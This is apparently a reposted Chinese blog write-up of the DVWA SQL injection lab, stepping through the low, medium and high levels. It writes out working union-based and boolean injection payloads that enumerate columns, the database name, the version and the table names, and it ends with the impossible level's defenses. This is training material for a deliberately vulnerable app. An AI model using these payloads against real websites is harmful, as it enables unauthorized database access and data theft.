当前位置: 首页 > news >正文

dvwa7——SQL Injection

LOW:

f12打开hackbar

 一:判断注入类型

输入id=1'报错

闭合单引号 ,页面恢复正常

所以为单引号字符型

二:开始攻击

1.判断列数

?id=1' order by 2--+

到3的时候开始报错,所以一共两列 

2.爆回显位置

?id=-1' union select 2,3--+

 

3.爆数据库名和版本号

?id=-1' union select database(),version()--+

4.爆表名

?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.爆库名

 (1)guestbook

(2)users

 6.爆guestbook的数据:

MEDIUM:

发现界面变成了这样:

随便提交一个,submit的时候用bp抓包

抓到这些,我们发现这一关的提交形式从get变成了post,格式以红框内为准

继续打开hackbar,发现单引号双引号括号无论闭合不闭合都报错,所以我们判断为数字型

id=1 order by 3&Submit=Submit

到3的时候报错,所以一共两列 

剩下的表单爆数据不再过多赘述 

HIGH:

1' and 1=1#
1' and 1=2#

前者正常,后者无回显,所以是字符型注入

剩下回显和low一样 

IMPOSSIBLE:

优化部分:

checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');

1.checktoken() 

2.mysqli_real_escape_string()转义函数去除反斜杠

3.pdo预处理,参数化查询

4.limit 1限制返回结果

5.generateSessionToken()在文件末尾生成新token供下次使用

6.captcha验证(recaptcha_check_answer())(人机验证)

http://www.lqws.cn/news/87355.html

相关文章:

  • TypeScript中class的两种继承方式extends和implements的对比
  • Hadoop 3.x 伪分布式 8088端口无法访问问题处理
  • 【Java实用工具类】手撸SqlBuilder工具类,优雅拼接动态SQL,MyBatisPlus同款风格!
  • 记一次sql按经纬度计算距离
  • 立志成为一名优秀测试开发工程师(第十一天)—Postman动态参数/变量、文件上传、断言策略、批量执行及CSV/JSON数据驱动测试
  • K8s基础一
  • k8s更新证书
  • 【信创-k8s】海光/兆芯+银河麒麟V10离线部署k8s1.31.8+kubesphere4.1.3
  • 03.搭建K8S集群
  • IPython 使用技巧整理
  • Impromptu VLA:用于驾驶视觉-语言-动作模型的开放权重和开放数据
  • 基于wifi的室内定位算法设计与实现
  • 25年宁德时代新能源科技SHL 测评语言理解数字推理Verify题库
  • 操作系统:生态思政
  • Java基础(二):八种基本数据类型详解
  • [蓝桥杯]路径之谜
  • 从 iPhone 备份照片: 保存iPhone图片的5种方法
  • 【Pandas】pandas DataFrame rename_axis
  • vue-15 (实践练习:使用路由防护实现身份验证和授权)
  • MTK的Download agent是什么下载程序?
  • 【开源工具】Python+PyQt5打造智能桌面单词记忆工具:悬浮窗+热键切换+自定义词库
  • 【开源工具】超全Emoji工具箱开发实战:Python+PyQt5打造跨平台表情管理神器
  • 【C++高并发内存池篇】性能卷王养成记:C++ 定长内存池,让内存分配快到飞起!
  • 第三章 3.MAC Address(CCNA)
  • Redis 缓存粒度如何控制?缓存整个对象还是部分字段?
  • 写读后感的时候,可以适当地引用书中的内容吗?
  • C++智能指针的知识!
  • 2048小游戏C++板来啦!
  • 第一篇:揭示模型上下文协议(MCP):AI的通用连接器
  • JavaSE:面向对象进阶之内部类(Inner Class)